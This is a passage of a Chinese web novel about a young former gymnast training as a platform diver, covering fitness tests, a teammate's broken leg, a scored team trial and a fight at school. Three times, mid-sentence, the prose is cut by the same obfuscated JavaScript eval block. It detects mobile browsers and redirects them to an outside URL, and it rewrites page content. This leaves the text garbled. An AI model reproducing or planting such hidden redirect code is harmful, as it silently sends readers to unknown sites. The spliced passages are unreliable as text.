上辈子和于冈的接触从体操队之后就渐渐少了，后来认识到也只是因为世界冠军的头衔，但后续也没了联系。 但姜广一直记得于冈就是个暖心大哥哥，也认为如果他不走体育这条路，一定能在心理学上有所建树。因为他实在是太会注意到情绪，并且帮助解决困难排解情绪了。 如果愿意，于冈一定能顶上队里心理师的位置。 第二天，一大早，他那个冷淡系统又突然冒出来说休年假期间也没忘记把他说服于冈的奖励给发了，还是一个样，他又选了张心理辅导。 今天跳水队恢复训练，早上集合完毕之后，余庆丰教练就告诉了大家今天要体能测试的消息。 虽说跳水比的不是速度这种需要爆发力极强的项目，但跳水需要人的身体素质非常好，能够支撑做好每一个动作。 体能测试第一项就是3000米长跑，其实也是定期的训练项目，姜广他们没参加过，理所当然也成为了余庆丰重点的关注对象。 余庆丰给了大家热身准备的时间，随即便所有人都一起跑。乌泱乌泱的一大群人全都围着跳水队中间的那个长方形大厅跑，因为不是标准的田径跑道，所以算下来也得多跑好几圈。 姜广的跑步一直都不是强项，他能坚持下来，但速度会比其他人慢挺多。所以，很自然的就落到了队伍末尾的位置。 因为是三千米长跑，大家其实都还攥着劲儿，没敢太往前冲，不然跑到最后肯定没力气坚持下去。 姜广跑的直喘，最后也“不负众望”跑了个男生里的倒数第一。最后被余庆丰说以后得给他多加体能训练，不然每天气喘吁吁都没劲儿锻炼。 紧接着也就是跳远之类的常规项目，赵渐鸿倒是在这次的测试里拔得头筹，每一个项目都名列前茅，成为了重点表扬对象。 测试结束，姜广就瘫在地上，靠着旁边的柱子，一动都不动。 “怎么，跑个步跑趴下了啊。”赵渐鸿半蹲着一个劲揉他的头发。 姜广一口气都快没了半口，抬头看了一眼人也没说出来一句话。 “好了，一起缓缓吧。”于冈从不远处走过来，顺势也坐在了地上。 赵渐鸿凑热闹也跟着一块做，笑呵呵地问他，“怎么，何教练和你说了什么？” “没什么，就问了问我的情况而已。还给我定了目标，说是明年全运会一定会带我上场的，说让我奔着全运会上领奖台的目标去训练。” 赵渐鸿竖了俩大拇指，“牛。” “厉害啊，不过鸿你应该也要去参加吧，你六个动作不都抠的差不多了，多练练也能拿出手。” “谁知道呢，你也赶紧练呗，什么时候我们能一块比赛才好呢。” “你们先加油，我会赶上去的。” 体能训练过后，下午就开始正常训练。余庆丰本来也还是继续陆上的模拟训练，发现其实姜广有体操的底子，做的都轻松的很。 但根据体能测试的成绩，姜广基本上每天都得被留下来多做一小时体能训练。赵渐鸿和于冈每次都回家了，他还被守着跳绳。 体能训练的差不多后，姜广才可以从陆上训练，转移到网上拉着保护绳开始训练学动作，他聪明，吸收消化的也快。没过多长时间，就基本过渡到了三米台上了。 在台上也是从屈体半周开始练空中的感觉，动作姿态都不错，基本挑不出毛病，也就是入水差，每次都找不准定位，角度要差就差很多。 大部分时间里都是几乎斜插着入水的，所以就导致水花效果和观感上都不怎么好。 余庆丰教的头疼，姜广学的也纳闷，明明感觉都掌握的都挺好，怎么就差那么一点。 跳水的入水几乎就是靠垂直往下时打开的那一个小口，身子绷直顺着小口进去，从而水花就压住了。如果角度有偏差，水花就会顺着偏差的脚给带出去。 短时间没办法解决，余庆丰甚至都怀疑自己的眼光是不是看错人了。 直到半年后，舟阳市都入了冬，姜广才又从网上（蹦床网）训练转到跳台，之前都跳的三米或者五米台，余庆丰也是突发奇想，想着让姜广感受感受十米台的感觉。 说不定跳一次就能找到正确的打开时机来，之前学了也非常久的105C（向前翻腾两周半抱膝）就这时候拿出来练练。 “注意啊，我教过你好多次的两次打开，这样你才容易找入水的时间点，知道了吗？”余庆丰拿着喇叭喊，十米台上的姜广腿直发抖，但还是点了点头。 两次打开的意思大概就是需要运动员在最后翻腾的半周里先把抱膝的动作转为屈体进而打开入水。 实际上两次打开入水和一次打开入水在打分上没有明显的区别，但二次打开实际上对运动员的要求要高不少，也方便运动员找到正确的入水时机。 之前半周的屈体都做的不太好，其实余庆丰也没想着姜广能做多完美，但还是想让他先感受感受十米台的差别。 姜广站在十米台时，双腿抖的厉害，之前上五米台都要做很久的心理负担，但上了十米才发现之前的比起来就是小儿科。 “赶紧跳，别磨蹭，这什么天啊，你再磨磨蹭蹭一下，待会儿你身子都僵了，你还怎么做动作？”余庆丰拿着喇叭大声喊。 刚在五米台做完诱导训练的赵渐鸿听见了，往十米台上看，就大声喊了声加油。 姜广确实也没办法，只能从脑海里重新过了几遍动作要领，硬着头皮上。 一组的动作是往前跳，对于运动员来说还是相对好跳的，毕竟能看得见水面，心里有底儿。 但是一组的动作需要助跑，姜广想要做好起跳就处理好助跑的动作。 往前跑台的时候，姜广脑子里全是动作要领。起跳的力度把控的很不错，高度非常可观，紧接着翻腾对他来说从在体操队到现在都不是难事。 整个两周翻的都很轻松，最后半周也是记着二次打开的动作要领，眼睛观察着下落的高度，直到认为时机成熟才两只手掌重叠做出向下压的动作。 压水花主要依靠手掌打开水面后，施加一个往内的力，从而水花就往里涌，而不是往外冒出来。 入水的那一刻才紧紧的闭上眼睛。 余庆丰从旁边看动作，和他最初的想法一个样。姜广在空中的翻腾动作做的太轻松了，问题就在入水上。 两周半的动作，从起跳到往下坠落的过程中，能在十米台上方就做完几乎一周半。 从完成高度上看，余庆丰非常笃定的认为姜广在一组的难度上有极大的提高空间。 从水里出来的姜广，摇了摇脑袋，他能感受到刚才入水的过程中，脚尖偏了，应该溅起了很大的一层浪花。 余庆丰走到他身边，第一句开口就是问他为什么？ 明明空中的动作做的都很不错，怎么打开入水就不行了。 “你是怎么并手的，你再做一次我看看。” 姜广乖乖的做了一遍，余庆丰叹了口气，“没什么问题，目前来说就是入水时机的问题，一般来说就是你往下做动作，你和水面接近三米台的位置，就差不多可以准备入水了。但是并手的时机，你要在差不多一米左右开始，让后紧接着就可以往下顶水。而且，从你的高度和动作翻腾的情况来说，留给你入水的时间都是很充分的，你应该能够把这个环节做好的。” “不过没事啊，这个环节目前来说就是靠多练，练的多了也就熟悉了入水的感觉，最后就能找到适合的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190960|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时机了。” 姜广点点头。 紧接着也没让他上十米台了，在五米台扣入水动作。105本身难度系数就不高，在五米台上也基本上能完成的大差不差。 五米台上练好了105到十米台做107也会容易的多，这也是一般训练中的常规手段。会先在矮一些的台子上练比平台上少一周的动作作为一个诱导动作来训练。 练了差不多一整个下午的时间，姜广的手臂青一片紫一片的都是淤青。 跳水是这样，入水角度偏差太多，手臂受到的力就会比预期要大很多，最后也难免产生身体上的不适反应。 余庆丰带着人穿好衣服就去医务室揉一揉擦个药，毕竟身体训练中磕了碰了没事，事后还是得解决问题的。 “跳水累还是体操累啊。”余庆丰在路上问他。 他摇摇脑袋，“其实应该都差不多，每项运动想出成绩，就没有不苦不累的。” “你这么大的孩子我见的多，很多都是在某个环节处理不好，有瓶颈了，就放弃不练了，你能坚持早晚都会出成绩的。” 姜广点点头，“其实我觉得我们跳台实力也不差，这次奥运在我们家门口发挥的不是挺好的吗，虽然就差一点点，但努努力也能赶上国际水准。” “确实啊，但是现在也是差在难度上，能参加奥运的选手没有很弱的。但是想要上领奖台，那肯定得难度和稳定性都不差啊。我觉得你难度以后肯定没问题，主要就是稳定性的问题。” “这个方面怎么提高啊，也只能靠练啊。” 姜广点点头。 其实，现在的处境和当时体操一个样子，就都差一点点，都得靠意志力咬着牙一点一点扣，也完全急不来。 刚到医务室坐下来一分钟不到，就看着有人慌慌张张的往医务室里跑。 “张医生，我们队里有人把腿摔了，看起来挺严重的，你看看能不能先急救看看。” “谁伤了？”余庆丰脸色焦急的问。 “赵渐鸿在馆里刚跳完动作，被不知道谁的毛巾给绊了一跤，摔地上好像摔骨折了。” 余庆丰连忙往跳水馆里跑，姜广跟在后面，去到时已经有一圈人围着了。 赵渐鸿咬着牙看起来难受，但也没哭，医生一看就大概知道是小腿骨折断了。 “这得去大医院，估计得做手术。” 余庆丰比大家都急，抱着人就出门打了辆车往医院赶。 运动员出现伤病本身就是没办法避免的事情，但有时候必须得看命，运气不好就总会碰到不合适的时机。 赵渐鸿这段时间训练的更加刻苦，其实就是心底里卯着一口气，要上还有个大半年时间的全运会上展示一次自己的实力。 但现在的情况，他手术完也至少得休整大半年的时间，到时候肯定也赶不上比赛，就算赶上了身体素质也没法发挥出应有的水平。 赵渐鸿在跳水馆里还没哭，但在余庆丰怀里的时候，没忍住就埋着脑袋轻轻地、缓慢地抽泣。 余庆丰拍拍他的后背，“没事，会好的。” 姜广是后面追上来的，刚好凑巧余教练打上车，就也跟了过去，能帮忙照顾照顾人。 到了急诊也立马去了骨科，紧接着就被推着进了手术室，打钢钉最后上石膏固定。余庆丰全程都没什么表情，破天荒的站在医院楼梯间抽了支烟。 直到人从手术室里推出来，余庆丰才连忙凑上去问具体情况。 姜广过去看赵渐鸿的状态，麻药劲儿刚过，但腿疼的厉害，赵渐鸿眉头忍不住皱成一团，看着姜广时情绪更加控制不住，咧着唇就低声哭了出来。 “阿姜，我没法去比赛了。” “我难过。” 9. 队测① 赵渐鸿的伤来的突然，某种意义上来说也是太倒霉。毕竟明年正巧是全运会，也就还剩不到半年的日子，这时候伤了那就直接退出竞争了。 全运会之后紧接着就是全国跳水锦标赛，这么说来确确实实失去了好几次比赛锻炼的机会。 姜广听见赵渐鸿哭，心底里也难受，但意外的来临他也没办法阻止。安慰的言语在这种时刻显得格外苍白，他也只能安静的陪伴。 伤筋动骨一百天，而且后续还需要进行复健活动，恢复到最开始的水准肯定是需要大量的时间的。 跳水又是个一天不练就会不熟悉的运动，本身就需要大量的重复练习才会赢得比赛里做六个动作的机会。 余庆丰也难过，觉得这事儿一出自己有很大的责任，也修改了队里训练的规矩，目的就是希望能够完全杜绝这种事的第二次发生。 赵渐鸿的家长其实还是明事理的，本身就是意外，队里也保证会支付这段期间的医药费，也没发生吵闹的场景。 意外发生过去的几天，队里恢复正常训练，也为了半年以后的全运会组织了第一次队测。 场面很正规，请了一群省里比赛打分的裁判，几乎是流程到场景都尽可能的还原正式比赛的样子。 除了场馆里没有观众之外，也挑不出什么毛病来。 本来按理说队里男子十米台测试，正常情况下赵渐鸿肯定稳稳拿第一，平时随便跳跳也能跳个四百三四，虽然还不够完美，比不上世界水平，但对于舟阳跳水队来说是远超一大截的。 特别是5组和6组有转体的动作组别，赵渐鸿掌握的很完美，转体跳下来看起来就很舒展，裁判从观感上就会多了一点点的印象分。 现在少了个十米台大哥，几乎其他人都能有机会搏一搏，毕竟结果大概率会关联是否能参加全运会。 首先是女子十米台的比赛，队测也不分预赛决赛，就这一轮机会。 刘黎主要带女子这一块，她也带出了好几个国家队成员，几乎每次都是全运会时送过去的。 这回儿也一样，手上有好几个还不错的苗子，稳定性都不错，但上限就稍微差了点。不过拿到国际上，也不差，起码也有竞争领奖台的水准。 首先出场的是女子十米台的一号种子苏虹，今年才不到13岁，女子台的选手普遍年纪都不大，成绩都出的早，毕竟对于女子来说发育是个很大的难关。 第一个动作是107b（向前翻腾三周半屈体）难度系数3.0，对于女子来说也算不上难做的动作，想要站上国际算得上是最基础的动作。 单人跳水比赛的打分裁判一共有七个，对选手的跳水打分满分10分。选手总分需要去除两个最高分去除两个最低分，剩下三个分数为单跳的实得分，相加乘以难度系数就是单跳得分。 对于3.0的难度而言，实得分上8分才能算得上是个还不错的动作。 裁判发令枪此刻响起。 苏虹闭眼又深呼吸一次，助跑起跳入水，一气呵成。特别是入水控制的非常不错，入水时几乎没什么水花，只是在入水后缓缓涌起了少量的水沫。 对于苏虹来说，算不上完美，但也是正常的发挥。但唯一的瑕疵，还是空中动作上，她屈体时有比较明显的屈膝。 裁判都是火眼金睛最后七个裁判一致打了8.5，这一跳最终76.5分。 姜广和于冈都在旁边看，于冈点了点头，“跳的确实挺好的，感觉女子发育前的巅峰期都挺厉害。” “对啊，我现在都跳不了这个动作，这么点水花感觉比我跳半周还控制的好。” 于冈偏头笑，“你才学了多久，后面就好了，别着急。” 其实对于姜广来说，这种水准确实比自己强不少，毕竟他还是连105抱膝都完成的有些勉强的人。 紧随其后的就是女台二号种子苏宁，苏虹的妹妹，她们是对双胞胎，本身最初也没想练跳水，但意外被刘黎发现了，才一并招进了跳水队。 妹妹的动作其实在完成度和空中姿态上都比姐姐好一些，但同样问题会出现在入水上，容易控不住水花，入水处理的很粗糙。 同样的动作107b，最终跳下来，入水角度偏差有点多，水花效果就不够好，实得分最后是一个6两个6.5。 刘黎看见了第一时间就上前问了原因，及时帮助苏宁调整自己，重点讲一讲动作要领。 女台一共是五个动作，可以在六个组别里选择五个最擅长的来比赛，相对男子来说节奏就会快不少。 一个小时左右就完成了整场比赛。 最终也是苏虹苏宁姐妹俩名列前二，苏虹这场比的相当好总分上了370，妹妹因为第一跳失误最后成绩是354.5，但都还不算太差。 紧接着就来到男台的比赛。 姜广因为学习的时间稍稍短了些，六个组别的动作都很基础，难度也是队里比较低的。但同时这六个动作也是刚学了没多久，除了105前两天才复习过，其他动作的台上练习就少了相当多，所以对他来说，依旧是一次难度不小的挑战。 比赛的顺序是抽签的。 男台选手在舟阳跳水队里总共不超过十个人，除去赵渐鸿剩下的也就都是些没学太长时间的，和稳定性差一些，为了走特招路子过来学的。 所以对于目前男台的状况，可以说就是菜鸡互啄，但最新的新人也都比姜广多学了一年多。 起码大多数人都有一套练的很熟的成套动作，而姜广动作都还只是拼凑学出来的高难度的诱导动作。 姜广抽到的是第一位上场。 虽然只是一场队内测试，但对他来说依旧背负了余庆丰的期待，他没想跳到完美，但起码要不给教练丢脸才行。 他把五组动作放在了最前面，5253C（向后翻腾两周半转体一周半抱膝），难度系数3.0，虽然不高但同时也是他成套中最难的一个动作。 男子十米台一般来说也会做5255抱膝或者5255屈体，这样一整套动作难度才不至于和其他人低太多。 姜广练这个动作是在轴承保护带的保护下在蹦床上练的，转体对他来说不是太难，主要练的就是整个动作的流畅度。但这个动作大多还是在保护带上做的，跳台上他还没怎么跳过，今天放在第一个是因为不想给自己太大压力，越放后他自己越紧张。 还不如放第一个，跳了就跳了。 裁判的发号施令声响起，他低头看了看自己的脚尖，心底里默默说了声“我可以”。 十米台依旧是个令人生畏的高度，何况是踩在台子边缘背对水面向后跳。 划臂下蹲，起跳腾空而起，转体一周半动作在十米台上几乎就转完了，但因为动作依旧有些生疏，脚尖没有蹦紧，转体时微微的有些分腿。 转体后是翻腾两周半的动作，转速很快，每个环节衔接的都相当紧密。之前几天说到的入水打开的时机，明显好了不少，水花效果不错，但翻腾速度太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190961|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快导致身体角度稍稍有偏差，视觉角度上看可以明显看到身体与水面的角度是不垂直的。 但水花效果保住了，起码成绩不会太差劲。 最后实得分是两个6分一个6.5，最后这一跳一共获得57分。虽然不是太高的分数，但对他自己而言算是一次小小的成功。 跳完后，姜广就往余庆丰身边走。 余庆丰在旁边看完，拍了拍他的肩膀，笑了笑说，“这个动作没怎么在跳台上做，做成这样还算是不错，但测试之后我们肯定还是得慢慢抠的，毕竟你上比赛五组动作很多选手都很不错，不打个8到9分是没有竞争力的。” 姜广一个劲的点头。 第一轮结束后，姜广是在十个人里排第八，其他人难度虽然不大，但毕竟也多练了一年多，实得分都能稳定在7-8的水平。 而且，今天本来就没有赵渐鸿这种厉害的对手，都跳的放松，状态也不错，成绩就都还不错。 第二轮姜广跳的是305C（反身翻腾两周半抱膝），难度系数2.7是成套里第二高的难度。 反身这个组别，在女子跳台里性价比不太高，很多选手就不会选择这个组别比赛。但是男子跳台因为是六组都需要选择一个动作，所以大部分选手都会选307C不算太难，对于男子来说难度3.4也还算有性价比。 所以，学习三组时姜广接触的就是305，目的就是练好305就可以进阶练习跳好307，两个动作的区别就是307多翻一周而已。 反身的难点在于是面对跳台外起跳却要往跳台内侧翻腾，也是要求运动员的身体协调力要很不错才行。 十米台上的选手，需要克服的不仅是高度，同时还需要打消自己心理上的顾虑。毕竟从台上起跳，很多时候都会担心没控制好身体，会在翻腾过程中把头撞在台面上。 姜广其实也担心，但也不停给自己加油打劲，尽量让自己的心态平稳一些。 依旧是平稳的起跳，翻腾两周半对他的翻腾速度来说其实是相当轻松的，但三组的动作存在打开入水定位有盲区的情况，需要运动员靠自己感觉打开入水。 因此，对于运动员的水感要求很高。 但姜广依旧是这方面没有找到属于自己的节奏，入水打开的角度差的比较多，翻腾的速度太快，甚至就几乎快要转到三周的位置了，最终入水倾斜着插入水面。 虽说空中姿态很标准，但入水的角度会扣点一大半的分数。 实际上评委把这个动作分到了一般的档次，最后实得分是三个4分，最后只有32.4分，如果拿到大赛上几乎可以判定成一个失败的动作。 余庆丰看完直摇脑袋，立马就问姜广到底是哪个环节出了问题。 “我感觉我可能还是有点害怕，而且我入水看不见水面，我在找位置，结果最后就有点着急去打开，就导致我匆匆忙忙的打开有点晚了。” 余庆丰听完先点点头，也没批评，毕竟后面还有好几跳。 “你的动作我都录下来了，等测试结束，我们一起抠动作，现在还是练的太少了，我看你起跳很充分，一般人起跳做好了，这个动作做下来也差不到哪去的，没事，我们把后面四跳做好了，你可以吧？” 姜广听得出余庆丰语气里的不满意，但也没敢说话，毕竟确实也没跳好，就拿着吸水毛巾，灰溜溜的跑到热水池子里。 温暖的水包裹全身，姜广轻舒一口气。 活过来了。 10. 队测② 十米台之后紧接着的就是男子三米板，因为不是正式比赛，于冈也在台边看比赛。 看见姜广进了热水池子，就跟了过去。偷偷地趁他闭眼养神间，拍了拍肩膀。 “什么时候学的3组啊。”于冈问他。 他被吓了一跳，脸颊被偏烫的水温泡的发红，再加上惊恐的眼神，活脱脱的像只受惊的兔子。 “就之前体能测试之后，就拉着我每一组都学了个简单动作。” 于冈点点头，竖了个大拇指，相当认真地看着他的眼睛，“感觉你跳的比我刚学动作那会儿好多了。” “真的吗？可是你难道没看到我的水花吗？感觉就是重重地往水里砸了个西瓜，一点儿也没控制住。” “起来把衣服套上吧，感觉你再泡会儿，身子都泡浮囊了。”于冈眯着眼睛笑，顺手从身边的椅子上把姜广的棉衣拿了起来。 姜广也麻利的从水里出来，大冬天的确实也就想在水里泡着，虽然馆里冬天也有暖气，但毕竟场馆不小，效果也没那么好。 擦干身子后，姜广把自己包的严严实实，毕竟身子冻着了，最后做动作也变得僵，不说一定会失误，但状态肯定会差一大截。 “其实是真的，我觉得你本身训练的时间也没有太长，而且还要抠基本功，花在动作本身上的时间没有太长，而且也没天天在跳台上练，能有这种水准都非常厉害了。” 姜广低着脑袋笑，“哪有那么好，你就是鼓励我而已。” “真的，我当时刚上三米板，十次走板，八次都失误，最后都是靠数不清的练习把熟练度提高，才能保持一个比较不错的完成度。” “那于哥也是厉害，我待会儿要做105，还是有点担心我的入水。”他说完蹙了蹙眉头。 这个时候上一个选手刚做完，做的107屈体，从起跳到入水都完成的很漂亮。相比之下，他就更加没自信了，颇有些失落的耷拉着脑袋。 “105你怕什么呢？你三组的两周半都能在七米台上面转完了，一组的两周半那不是更容易，而且一组比三组好跳多了，你就大胆跳，肯定差不了的。”于冈拍拍他的后背，眼睛里充盈的都是信任。 姜广在翻腾的速度上相当快，所以难度上限也会随着变高，但同样的他需要一个极其充分的起跳。但他目前这些环节都是比较轻松的，唯一犹豫的点还是入水时机的选择上。 毕竟，跳水和体操的落地不一样，体操身子转弯就紧接着落地就行，落地需要控制的是重心，保证落地的稳定性。但跳水的要求更精准，毕竟入水压水花时要顶水，瞬间发力的时机没控制对，水花自然就压不住了。 “可我入水太差了。”姜广还是没底，虽然一组的动作不久前才练过，但训练的结果也不太能令人满意。 于冈用力地揉了揉他的脑袋，把湿漉漉的头发都给弄的一团乱，“你能不能自信一点啊，再赛前泄气我可就打你了。比赛嘛，你要有‘老子天下第一’的气魄，你管他跳的怎么样的，跳下来就把自己当第一。” “嘿，我这样都第一，那只能说是运气太好了吧。” 于冈无奈，“这是重点吗？” “好了，我知道了，我105肯定会好好跳的，啥也不想就把动作要领好好顺一遍。” “嗯，就这样，你就当自己是第一呗，而且倒数第一不也是第一。”于冈眯着眼睛笑。 第二轮还剩两个人的时候，姜广就稍稍活动活动，准备爬楼梯上十米台。最后在七米台的位置等，等的过程中也在不停地练习动作。 第二轮全部结束，姜广因为第二跳发挥的不太好，自然掉到了最后一名的位置。其实在最后，他压力反而没那么大，毕竟自己学的时间就摆在这，也不可能一飞冲天。 广播这时候播报选手和动作，“姜广，105C（向前翻腾两周半抱膝）。” 他依旧是深呼吸一口，卸掉自己的心理包袱，在开始播报提示音响起时，就连忙开始跑台做动作。 一组向前的动作是有助跑的过程，助跑能够为运动员带来更高的起跳，以及更快的翻腾速度。但与此同时，也要求运动员要对助跑的动作很熟悉，定点准确，才能够有节奏的开始起跳。 不然节奏乱了，那后面每个环节都会出现问题。 姜广起跳时脑子里响起来的是于冈笑着夸他做的不错的声音，他猛然间信心猛增。 抱膝翻腾时，他的头发甩出细长的水柱，十米台的台缘留下几条狭长的水痕。他能够感受到风的声音，重力加速下坠的恐惧反而逐渐模糊。 这一刻，他似乎只沉浸在短短不过几秒钟的动作里。 起跳，翻腾，入水。这一次都做的相当不错，入水的角度把控的很到位，直直的插入水中，水面微微泛起部分涟漪，身侧的水花微小的能够忽略不计，只是最后缓缓往上冒了些水沫。 余庆丰其实没觉得姜广会有多亮眼的表现，毕竟再怎么天才，也不太可能在跳水这个项目上速成。对于姜广的期待就是，六个动作能顺顺利利的做完，就是一个比较不错的发挥了。 这一跳跳下来，余庆丰看的有些失了神。手里录像的相机压着手掌，直到掌心微微发酸，才缓缓回过神来。 这一跳几乎可以算得上完美，唯一的瑕疵就是动作难度太低了，只有2.1。 姜广跳完，擦了擦眼睛，感觉有些懵懵的，拿着毛巾就往余庆丰身边走。 还没等到余教练说话，就听见场馆里播报裁判打分。 清一色的9分。 最终这一跳总得分是56.7分，虽然总分不高，但这一跳总分也才63分，已经是一个接近满分的动作了。 对于低难度的动作，裁判打分往往也会更加严格，毕竟在其他选手都能够有更高的成套动作。而对于低难度动作的选手来说，如果都不能做好，那肯定就会在裁判眼里是综合实力不够高的，进而会判定的更为严格。 “这一跳很不错，而且几乎挑不出毛病，如果要说问题，那估计就是你助跑的时候，感觉你还是有点着急，别那么快，先想想动作，然后再开始也不晚。” 余庆丰乐呵呵的，“没事哈，我们下一跳继续努力。” “知道了。” 这一轮结束后，虽然姜广的发挥相当好，但还是输在难度上，排名没有变化。 紧接着就是第四跳，他选择的是不太有把握的二组，但动作难度比较低，203C向后翻腾一周半抱膝，难度系数只有1.9。 之前这个动作上跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190962|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台也就是在五米就能做，十米的二组动作一般最少也要翻腾三周半。 因为只有一周半的翻腾，姜广几乎不觉得有什么压力，起跳翻腾，短短的一周半，也几乎不需要他有多么有力的起跳高度。 毕竟他的翻腾速度几乎能够抹平高度的不足。 立定起跳的动作，几乎在七米台往上的位置就翻腾完了，剩下的时间都能用来处理入水。 依旧是一个看上去相当舒展的二次打开的动作，只不过入水最后还是角度有细微的偏差，视觉上会觉得不够垂直。 但水花还是处理的不错，总体上也能算得上是个相当不错的动作。 最后实得分是三个7.5，毕竟是低难度的基础动作，裁判会对每个扣分点都把控的很苛刻。 因为动作难度的关系，最后得分是42.75分，余庆丰拍拍他的后背，嘴角的笑很灿烂，“没事，很好了。” 之后的两跳是四组的405C（向内翻腾两周半抱膝）和六组的624C（臂力动作向后翻腾两周抱膝），难度系数都只有2.5。 四组的向内跳水同样需要克服对于跳台的恐惧，需要起跳后有一定的远度，才能避免脑袋磕在跳台上。 姜广这个动作练习的比其他动作都少一些，做起来会有心理压力。但上场前，于冈给他说了动作要领，也不停鼓励，这会儿也放心不少。 起跳的高度非常高，非常显而易见的就能看出他起跳是相当有力的。 这一跳最后每个环节都没什么大毛病，中规中矩，裁判最后实得分是三个8分，这一跳总共60，是所有动作里总分最高的一跳。 轮到最后一跳动作时，前面9个人的分差都不大，最大的分差也不够二十分。反而是姜广与第九名就差了几十分。 他心态好，也觉得正常，想着就剩最后一跳就能结束了，乐乐呵呵的上了跳台准备。 六组的动作，需要倒立，同时也就需要运动员的核心力量和上肢力量都不能差。 之前练六组时，姜广总觉得害怕，毕竟在十米高的台子边缘倒立，一个不小心可能就掉下去，心理压力很大。 但跳水打分是从你站上十米台的那一刻就开始了，如果在台上出现问题，自然就会被扣分。 姜广倒立时，第一次有些紧张，手掌心受力不够均匀，不小心一歪，就没倒立成功。只能开始第二次倒立，虽然是规则允许的情况，但裁判在打分时会根据动作的原本得分的基础上扣两分，也就是这个动作姜广的起评分就只有八分。 虽然有压力，但第二次还是顺利不少。 臂力动作的发力是依靠双腿向后倾倒，腿部和腰腹同时发力后，紧接着再完成动作里的翻腾。 由于倒立的失误，这一个动作也只拿到了三个4分，总分也只有30分。 最后六跳的总成绩是278.85，如果要和国际上比较，这个成绩可能连市跳水比赛都排不上名次。 虽然最终排名在最后一位，但余庆丰和裁判交流时，提到姜广仅仅只学了半年时间，所有人都一致认为已经是相当不错的完成度了。 回到跳台后时，于冈都做完了热身动作，看见姜广毫不吝啬的竖了竖大拇指，“未来的十米台之神，恭喜完赛。” 11. 脱位 队测结束后，等待姜广的是初二的期末考试。他之前在体操队，也没放下学习，虽然体育除了成绩能走特招，但本身该学的文化课也不能一窍不通。 于是就算到了跳水队，也还是保持着一周去上个几天课的习惯。虽然进度每次都不一样，但也还是带着录音笔，把课程录下来，自己有空再琢磨。 姜广虽然学的吃力，但好在还保留着上辈子的记忆，一些简单的初中知识，现在学起来还算的上得心应手。 他在学校的座位在最后一排，靠窗户的角落，桌子后面就是垃圾桶和一堆高粱扫帚。他本身不怎么来上课，没人在乎这个座位的情况，每回来上课都能看见椅子上全是扫帚上掉落下来的高粱颗粒。 不过他也不在乎，每次就自顾自的清理干净，该怎么上课就怎么上课呗。 体测结束的第二天，姜广去学校上考试前的复习课。期末考试往往是全市联考，学校也很重视联考成绩，所以今天的课是被老师打电话要求一定要来的。 他在学校里不是什么风云人物，毕竟平时来的不多，朋友也没几个，和同学的相处最多也就算得上是萍水相逢。 哪怕他这张脸要是放在论坛上，肯定能被讨论出几千楼。 今天早上的天气很冷，平时还真习惯了在跳水馆里穿个泳裤就训练的日子。突然裹得像个粽子一样，还有些不习惯。 冷风吹在脸颊，冻的他打了个寒颤，于是乎把卫衣的帽子顺便戴上了，半张脸也缩在高高竖起的衣领里，只露出眼睛和鼻子。 回到班上，温度才缓缓上身了些。但他的桌椅表面落了厚厚的一层灰，凌乱的试卷和作业也显得脏兮兮。 特别是凳子上还不知道被谁粘了个口香糖，黑乎乎一团，看着就恶心。 他叹了口气，也懒得追究。 蹲下身子就默默的拿纸巾擦那一团黑色的口香糖，但毕竟已经沾上有一段时间了，没那么容易清理干净。 最后是去隔壁班借了个铁铲子，才铲干净。他默默做完这一串动作时，总觉得有人看他，但抬头又没发觉有什么异常。 直到有人坐在他边上的空位上，是个用下巴看人的寸头。 “你谁啊？” 姜广抬头看了一眼，疑惑但还是做了个自我介绍。 寸头不满地撇撇唇角，“你是坐这儿的吗？现在这里是我的地盘，你从哪来的滚哪去。” 姜广还想说话，但上课铃响了，班主任王青青这会儿也踩着点进来，他就懒得解释了。 但没想到这寸头倒是个脾气爆的主，上辈子姜广是没见过这么个人的，这辈子冒出来这么个人还真没有做准备。 寸头一脚踹在姜广椅子腿上，两条腿中间的横木被振断了。他重心有些不稳，身子往后倒，一屁股坐在身后的扫把堆里。 “我说了你踏马从哪来的滚哪去，你不是不用上课吗？今天死过来干什么？” 被人欺负上了，姜广这一身腱子肉也不是白练的，立马爬起来往寸头身上踹了一脚。 两人动静本来就大，班主任不可能注意不到，正往他们这儿走。寸头被踹了，完全受不了这气，一拳往姜广脸上砸。 他两眼一黑，也没了理智。 哪有上个学还被个不认识的寸头小混混欺负了的道理。也冲人脸上抡拳头，两个人也立马扭打在一块。 王青青就是个刚毕业没多久的年轻女孩子，拉架根本拉不住，就只能让班上几个高大的男生把两个人拉开。 姜广被拉开后，就觉得手臂疼。 